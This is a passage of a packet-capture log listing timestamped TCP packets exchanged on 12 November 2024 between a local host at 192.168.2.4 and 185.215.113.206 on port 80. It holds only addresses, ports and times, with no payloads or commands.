Nov 12, 2024 02:13:27.516288996 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.516330957 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.516340971 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.516352892 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.516361952 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.516372919 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.516385078 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.516387939 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.516411066 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.516426086 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.516571999 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.516586065 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.516596079 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.516607046 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.516618013 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.516618013 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.516625881 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.516628981 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.516640902 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.516654015 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.516674995 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.516706944 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.516716957 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.516731977 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.516747952 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.516763926 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.516788006 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.516798019 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.516807079 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.516824007 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.516853094 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.598608971 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.598701954 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.598738909 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.598752975 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.598778009 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.598789930 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.630062103 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.630111933 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.630125046 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.630139112 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.630151033 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.630163908 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.630170107 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.630177021 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.630208015 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.630218029 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.630223989 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.630239964 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.630250931 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.630259037 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.630263090 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.630275011 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.630275011 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.630295992 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.630319118 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.630563974 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.630577087 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.630589008 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.630600929 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.630605936 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.630614042 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.630637884 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.630726099 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.630743027 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.630753994 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.630762100 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.630765915 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.630784035 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.630805016 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.630906105 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.630923033 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.630934954 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.630947113 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.630954027 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.630960941 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.630971909 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.630973101 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.630985975 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.630995989 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631012917 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631035089 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631047964 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631059885 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631071091 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631082058 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631088018 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631094933 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631094933 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631107092 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631118059 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631145000 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631331921 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631351948 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631366014 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631375074 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631377935 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631383896 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631391048 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631402016 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631406069 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631412029 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631414890 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631434917 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631445885 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631459951 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631468058 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631479979 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631483078 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631490946 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631503105 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631504059 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631514072 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631531954 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631535053 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631546974 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631555080 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631558895 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631567955 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631584883 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631593943 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631599903 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631609917 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631618977 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631623983 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631642103 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631645918 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631658077 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631668091 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631669044 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631683111 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631695032 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631706953 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631709099 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631721020 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631727934 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631735086 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631752014 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631759882 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631767988 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631769896 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631781101 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631792068 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631798983 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631803989 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631814957 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631819010 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631831884 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631851912 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631855011 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631867886 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631869078 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631881952 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631891012 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631920099 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.631944895 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631957054 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631968021 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631978989 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.631984949 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.632006884 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.632028103 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.632033110 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.632064104 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.632071018 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.632076025 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.632095098 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.632108927 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.632112980 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.632129908 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.632142067 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.632148027 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.632159948 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.632178068 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.632204056 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.632247925 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.632265091 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.632302999 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.714163065 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.714175940 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.714186907 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.714235067 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.714287996 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.745510101 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.745523930 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.745534897 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.745548010 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.745568991 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.745575905 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.745584011 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.745596886 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.745608091 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.745620012 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.745620012 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.745635033 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.745635986 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.745649099 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.745652914 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.745666981 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.745696068 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.745754957 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.745776892 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.745788097 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.745810032 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.745867968 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.745881081 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.745898008 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.745898008 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.745898008 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.745906115 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.745918989 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.745923996 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.745934010 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.745937109 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.745949984 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.745956898 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.745968103 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.745975018 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.745979071 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.745987892 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746000051 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746011019 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746012926 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746025085 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746026039 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746038914 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746043921 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746052027 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746057987 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746069908 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746081114 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746092081 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746093035 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746105909 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746117115 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746130943 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746134996 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746154070 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746191978 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746203899 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746212959 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746237993 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746256113 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746314049 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746329069 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746345997 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746352911 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746361017 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746361971 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746373892 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746381998 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746388912 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746388912 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746411085 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746417046 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746423006 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746432066 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746443987 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746457100 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746463060 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746469021 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746484041 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746490955 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746503115 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746505976 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746515036 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746521950 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746527910 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746536016 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746557951 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746570110 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746746063 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746781111 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746819019 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746833086 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746860027 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746866941 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746881962 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746896029 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746906042 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746920109 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746928930 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746933937 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746942997 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746954918 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746961117 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.746968985 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746982098 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.746987104 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.747052908 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.747065067 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.747075081 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.747081041 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.747081041 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.747087955 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.747097015 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.747097015 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.747102022 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.747114897 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.747117996 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.747127056 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.747143030 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.747158051 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.747181892 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.747219086 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.747255087 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.747267008 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.747277021 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.747296095 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.747302055 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.747322083 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.747334003 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.747340918 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.747344971 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.747358084 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.747360945 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.747360945 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.747371912 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.747386932 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.747406006 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.747412920 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.747426033 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.747426987 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.747452021 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.747477055 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.747534037 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.747555971 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.747566938 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.747576952 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.747584105 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.747603893 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.747607946 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.747616053 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.747626066 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.747653008 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.790306091 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.790318012 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.790327072 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.790337086 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.790349960 CET	49755	80	192.168.2.4	185.215.113.206
